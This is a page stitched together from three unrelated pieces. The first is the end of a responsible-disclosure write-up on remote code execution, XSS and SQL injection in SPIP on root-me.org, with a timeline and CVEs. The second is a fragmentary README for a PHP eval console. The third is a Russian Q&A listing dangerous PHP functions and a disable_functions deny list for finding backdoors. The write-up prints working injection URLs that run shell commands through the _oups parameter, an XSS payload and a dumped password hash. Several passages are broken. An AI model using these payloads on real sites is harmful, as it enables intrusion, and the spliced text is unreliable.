statut,[deplacer] => oui,[_oups] => '<?php debug_print_backtrace();die();?>',[date] => 2020-05-29 12:34:09,[date_default] => 1,[date_redac] => 2020-05-29 12:34:09,[date_redac_default] => 1,[type-page] => article,[composition] => ,[lang] => en,[espace_prive] => 1), ) called at [/issue_4494/ecrire/inc/utils.php:3258] #13 recuperer_fond(prive/squelettes/body, Array ([exec] => article,[id_article] => 1,[ajouter] => non,[tri_liste_aut] => statut,[deplacer] => oui,[_oups] => '<?php debug_print_backtrace();die();?>',[date] => 2020-05-29 12:34:09,[date_default] => 1,[date_redac] => 2020-05-29 12:34:09,[date_redac_default] => 1,[type-page] => article,[composition] => ,[lang] => en,[espace_prive] => 1), Array ([compil] => Array ([0] => ../prive/squelettes/structure.html,[1] => html_7335c83ff55eb313d2a61dfae0443fa4,[2] => ,[3] => 9,[4] => en),[trim] => 1), ) called at [/issue_4494/ecrire/public/evaluer_page.php(55) : eval()'d code:38] #14 eval() called at [/issue_4494/ecrire/public/evaluer_page.php:55] #15 include(/issue_4494/ecrire/public/evaluer_page.php) called at [/issue_4494/ecrire/public/assembler.php:657] #16 evaluer_fond(prive/squelettes/structure, Array ([exec] => article,[id_article] => 1,[ajouter] => non,[tri_liste_aut] => statut,[deplacer] => oui,[_oups] => '<?php debug_print_backtrace();die();?>',[date] => 2020-05-29 12:34:09,[date_default] => 1,[date_redac] => 2020-05-29 12:34:09,[date_redac_default] => 1,[type-page] => article,[composition] => ,[lang] => en), ) called at [/issue_4494/ecrire/inc/utils.php:3258] #17 recuperer_fond(prive/squelettes/structure, Array ([exec] => article,[id_article] => 1,[ajouter] => non,[tri_liste_aut] => statut,[deplacer] => oui,[_oups] => '<?php debug_print_backtrace();die();?>',[date] => 2020-05-29 12:34:09,[date_default] => 1,[date_redac] => 2020-05-29 12:34:09,[date_redac_default] => 1,[type-page] => article,[composition] => ,[lang] => en), Array ([compil] => Array ([0] => ../prive/squelettes/page.html,[1] => html_2282b1b56aa2fdb0410f3f69aba04c5e,[2] => ,[3] => 1,[4] => en),[trim] => 1), ) called at [/issue_4494/ecrire/public/evaluer_page.php(55) : eval()'d code:14] #18 eval() called at [/issue_4494/ecrire/public/evaluer_page.php:55] #19 include(/issue_4494/ecrire/public/evaluer_page.php) called at [/issue_4494/ecrire/public.php:157] #20 include(/issue_4494/ecrire/public.php) called at [/issue_4494/ecrire/exec/fond.php:74] #21 include_once(/issue_4494/ecrire/exec/fond.php) called at [/issue_4494/ecrire/inc/utils.php:1572] #22 find_in_path(fond.php, exec/, 1) called at [/issue_4494/ecrire/inc/utils.php:151] #23 include_spip(exec/fond) called at [/issue_4494/ecrire/inc/utils.php:81] #24 charger_fonction(fond) called at [/issue_4494/ecrire/index.php:165]https://www.root-me.org/ecrire/?exec=article&id_article=1&ajouter=non&tri_liste_aut=statut&deplacer=oui&_oups='<?php debug_print_backtrace();die();?> https://www.root-me.org/ecrire/?exec=article&id_article=1&ajouter=non&tri_liste_aut=statut&deplacer=oui&_oups=%27%3C?php%20debug_print_backtrace();die();?%3E

Spawn a phpinfo to see what is allowed / forbidden

https://www.root-me.org/ecrire/?exec=article&id_article=1&ajouter=non&tri_liste_aut=statut&deplacer=oui&_oups='<?php echo fread(popen("id", "r"), 300);?> https://www.root-me.org/ecrire/?exec=article&id_article=1&ajouter=non&tri_liste_aut=statut&deplacer=oui&_oups=%27%3C?php%20echo%20fread(popen(%22id%22,%20%22r%22),%20300);?%3E
Honestly, I never thought I would one day pwn root-me, but hey, here we are, and I’m so frikkin’ happy! 😀
XSS wise
The parano mode was enabled, which reduces the attack surface for XSS and escapes pretty much everything. Only a few were working on root-me.
More information about this mode here: https://www.spip.net/en_article4948.html
https://www.root-me.org/ecrire/?exec=plan&null=lalu' onmouseover=alert(domain) style='width:9999999px;height:9999999px;' foo=
https://www.root-me.org/ecrire/?exec=plan&null=lalu%27%20onmouseover=alert(domain)%20style=%27width:9999999px;height:9999999px;%27%20foo=
SQLi wise
SELECT * FROM `spip_auteurs` WHERE email LIKE 'loukajc@gmail.com' [1]:
????CENSORED????, ????CENSORED????, , , Black Hat? Hell no! Black Cat. , , 0, , , loukajc@gmail.com, 2020-05-22 18:42:10, $1$FmHtJAcr$bkMz6D8B3P0oYCLKCXJVt., 18343, non, fr, develooper, ????CENSORED????, 2020-05-22 18:42:10, , , , , , Laluka, ThinkLoveShare, 523fc199643d2f0f0d71599bce5ebf1d732512a777ba9f8af656097445294023, , a:5:{s:7:"couleur";s:1:"9";s:7:"display";s:1:"1";s:18:"display_navigation";s:21:"navigation_sans_icone";s:14:"display_outils";s:3:"oui";s:3:"cnx";s:0:"";}, , 1comite, https://thinkloveshare.com, nonMy password wasn’t in a wordlist, so I added it (testing purpose). And yes, I changed it. 🙂
Here I run hashcat, which is on my machine aliased to a docker alias:
docker run --rm -it -v $(pwd):/host dockit dizcza/docker-hashcat:intel-cpu hashcat
Timeline — DD/MM/YYY
- 20/03/2020: New idea in mind: what about a RCE on root-me.org?
- 14/05/2020: Dockerized spip setup, first XSS. Getting motivated takes time, right?
- 15/05/2020: Initial contact with Spip & Root-Me, feedback on a bulk of xss
- 17/05/2020: Still in touch, first SQLi reported
- XX/05/2020: Patch for many XSS and SQLi tested and validated (spip side)
- XX/05/2020: W00t, got a shell?! (quickly reported & patched)
- 29/09/2020: Finally publicly disclosed by spip! 😀
- 29/09/2020: Article published! Yataaaa!
\o/ - 01/10/2020: Root-me’s WallOfFame has been updated 🙂
- 19/05/2022: OMG IT HAPPENED, CVE FINALLY AKNOWLEDGED!!! CVE-2022-28959, CVE-2022-28960, & CVE-2022-28961
- 25/07/2022: No one ever told me about the CVE, I found out by messing around… What a world.
You can find the release note here: https://blog.spip.net/Mise-a-jour-CRITIQUE-de-securite-SPIP-3-2-8-et-SPIP-3-1-13.html
Conclusion?
- Nothing is as safe as it seems
- Don’t rush, read code, read more code
- Code stuff, build tools, moaaarrrr tools
- Have fun, “waste” nights, everything’s gonna be alright.
Last words ?
The patch. I do the patch often. I really like practicing the patch. Do you?

PHP Eval Console
In-browser, standalone console that executes your PHP code and returns the produced output. This package is based on
package darsain/laravel-console.
Table of contents
Installation
Get package through composer:
composer require meebio/php-eval-console
Copy vendor/meebio/php-eval-console/assets to assets in project root directory.
Configuration
Evaluators
EvalEvaluator
Basic evaluator that uses eval command. This is entirely not secure.
PhpSandboxEvaluator
Authorizers
IpAuthorizer
This authorizer ensures that only access from provided ips is possible. Authorizer constructor takes to arguments first
is array of allowed ips (null if this check should be disabled) and second is array of disallowed ips (null if this
check should be disabled).
Queries callback
You should install the package through Composer:
composer require meebio/php-eval-console
You must add service provider to app config:
php artisan vendor:publish --provider=
or just copy directory vendor/meebio/php-eval-console/assets to public/vendor/php-eval-console.
\\; \\\\ ;
{ * The URIs that should be excluded from CSRF verification. = [ , ];
}For lower versions of Laravel, that can be done as well, but some manual method overriding is needed.
When everything is done you should see Console at /console uri.
TODO
- Improve errors handling.
Я пытаюсь составить список функций, которые могут быть использованы для выполнения произвольного кода. Цель не в том, чтобы перечислить функции, которые должны быть занесены в черный список или иным образом запрещены. Скорее, я хотел бы иметь список ключевых слов, по которым можно определить специализированные функции для идентификации back-doors на взломанном сервере. Идея заключается в том, что если вы хотите создать многоцелевой вредоносный PHP-скрипт — например, скрипт типа c99 или r57 — вам придется использовать одну или несколько из относительно небольшого набора функций где-то в файле, чтобы позволить пользователю выполнить произвольный код. Поиск этих функций поможет вам быстрее найти решение из десятков тысяч PHP-файлов до относительно небольшого набора скриптов, требующих более тщательного изучения. Очевидно, что, например, любой из следующих сценариев будет считаться вредоносным (или сложным кодированием):
и так далее.
Просматривая на днях взломанный сайт, я не заметил ни одного вредоносного кода, потому что не знал, что preg_replace можно сделать опасным с помощью флага «/e». Есть ли другие, которые я пропустил? Вот мой список на данный момент:
Также может быть полезно иметь список функций, способных модифицировать файлы, но я полагаю, что в 99% случаев код эксплойта будет содержать хотя бы одну из вышеперечисленных функций. Но если у вас есть список всех функций, способных редактировать или выводить файлы, опубликуйте его.
Для составления этого списка я использовал 2 источника: A Study In Scarlet и RATS. Я также добавил несколько своих собственных. После публикации этого списка я связался с основателем RIPS, и на данный момент этот инструмент ищет в коде PHP использование каждой функции из этого списка. Большинство вызовов этих функций классифицируются как уязвимые. Когда испорченная переменная (например, $_REQUEST) передается в функцию из этого списка, то у вас есть уязвимость. Такие программы, как RATS и RIPS, используют функцию grep для выявления всех уязвимостей в приложении. Это означает, что программисты должны быть особенно осторожны при использовании этих функций, но если бы все они были запрещены, то вы не смогли бы многого добиться.
Функции PHP для выполнения произвольного кода
Помимо eval существуют и другие способы выполнения PHP-кода: include/require могут быть использованы для удаленного выполнения кода в виде уязвимостей Local File Include и Remote File Include.
assert() — идентичен eval()
Список функций, принимающих обратные вызовы
Эти функции принимают строковый параметр, который может быть использован для вызова функции по выбору злоумышленника. В зависимости от функции у злоумышленника может быть или не быть возможности передать параметр. В этом случае можно использовать функцию раскрытия информации, например phpinfo().
Функция => Положение аргументов обратного вызова
‘ob_start’ > 0,
‘array_diff_uassoc’ => -1,
‘array_diff_ukey’ => -1,
‘array_filter’ => 1,
‘array_intersect_uassoc’ => -1,
‘array_intersect_ukey’ => -1,
‘array_map’ => 0,
‘array_reduce’ => 1,
‘array_udiff_assoc’ => -1,
‘array_udiff_uassoc’ => array(-1, -2),
‘array_udiff’ => -1,
‘array_uintersect_assoc’ => -1,
‘array_uintersect_uassoc’ => array(-1, -2),
‘array_uintersect’ => -1,
‘array_walk_recursive’ => 1,
‘array_walk’ => 1,
‘assert_options’ => 1,
‘uasort’ => 1,
‘uksort’ => 1,
‘usort’ => 1,
‘preg_replace_callback’ => 1,
‘spl_autoload_register’ => 0,
‘iterator_apply’ => 1,
‘register_shutdown_function’ => 0,
‘register_tick_function’ => 0,
‘set_error_handler’ => 0,
‘set_exception_handler’ => 0,
‘session_set_save_handler’ => array(0, 1, 2, 3, 4, 5),
‘sqlite_create_aggregate’ => array(2, 3),
‘sqlite_create_function’ => 2,
Большинство из этих вызовов функций не являются уязвимыми. Но, скорее, это может быть уязвимостью, если какие-либо из возвращаемых данных доступны для просмотра злоумышленнику. Если злоумышленник может увидеть phpinfo(), то это определенно уязвимость.
extract — открывает back-door для атак register_globals.
parse_str — работает как extract, если указан только один аргумент.
mail — имеет инъекцию CRLF в третьем параметре, открывает back-door для спама.
Функции файловой системы
// обработчик открытых файлов
// запись в файловую систему (частично в сочетании с чтением)
imagepng — 2-й параметр — путь.
imagewbmp — 2-й параметр — путь.
image2wbmp — 2-й параметр — путь.
imagejpeg — 2-й параметр — путь.
imagexbm — 2-й параметр — путь.
imagegif — 2-й параметр — путь.
imagegd — 2-й параметр — путь.
imagegd2 — 2-й параметр — путь.
// чтение из файловой системы
Функции выполнения произвольных команд
exec — Возвращает последнюю строку вывода команд
passthru — Передает вывод команд непосредственно в браузер
system — Передает вывод команд непосредственно в браузер и возвращает последнюю строку.
shell_exec — Возвращает вывод команд
` (backticks) — То же, что и shell_exec()
popen — Открывает канал чтения или записи к процессу команды
proc_open — Аналогично popen(), но с большей степенью контроля
pcntl_exec — Выполняет программу
Я бы особенно хотел добавить в этот список unserialize(). Она имеет долгую историю различных уязвимостей, включая выполнение произвольного кода, отказ в обслуживании и утечку информации из памяти. Ее никогда не следует вызывать для данных, предоставленных пользователем. Многие из этих уязвимостей были исправлены в релизах за последние несколько лет. Для получения другой информации о сомнительных функциях/использовании php обратитесь к проекту Hardened PHP Project и его рекомендациям. Также обратите внимание, что по замыслу, отсериализация объекта приведет к выполнению функций конструктора и деструктора; еще одна причина не вызывать ее для данных, предоставленных пользователем.
Мой VPS настроен на отключение следующих функций:
disable_functions = dl, exec, shell_exec, system, passthru, popen, pclose, proc_open, proc_nice, proc_terminate, proc_get_status, proc_close, pfsockopen, leak, apache_child_terminate, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid
В PHP достаточно потенциально разрушаемых функций, чтобы ваш список мог оказаться слишком большим для поиска. Например, в PHP есть chmod и chown, которые могут быть использованы для простой деактивации веб-сайта. Возможно, вы захотите создать сценарий bash, который будет искать в файле массив функций, сгруппированных по степени опасности (функции, которые плохи, функции, которые еще хуже, функции, которые никогда не следует использовать), а затем вычислять относительную степень опасности, которую налагает файл, в процентах. Затем выводит это в дерево каталога с процентами, отмеченными рядом с каждым файлом, если опасность превышает порог, например, на 30%.
Вполне возможно внедрить PHP-код в любой тип файла. Изображения могут быть особенно уязвимы с текстовыми комментариями. Проблема становится особенно серьезной, если код принимает расширение, найденное в данных $_FILES, как есть.
Например, пользователь может загрузить правильный PNG-файл, с внедренным PHP-кодом под именем «foo.php». Если скрипт особенно плох, он может фактически скопировать файл как «/uploads/foo.php». Если сервер настроен на разрешение выполнения скриптов в пользовательских каталогах загрузки (что часто случается, и это опасное упущение), то вы мгновенно можете запустить любой произвольный PHP-код. (Даже если изображение сохранено как .png, можно заставить код выполняться через другие недостатки безопасности).
(Неполный) список того, что нужно проверять при загрузке:
Обязательно проанализируйте содержимое, чтобы убедиться, что загруженный файл соответствует заявленному типу.
Сохраняйте файл с известным, безопасным расширением, которое никогда не будет выполнено
Убедитесь, что PHP (и любое другое выполнение кода) отключено в пользовательских каталогах загрузки.








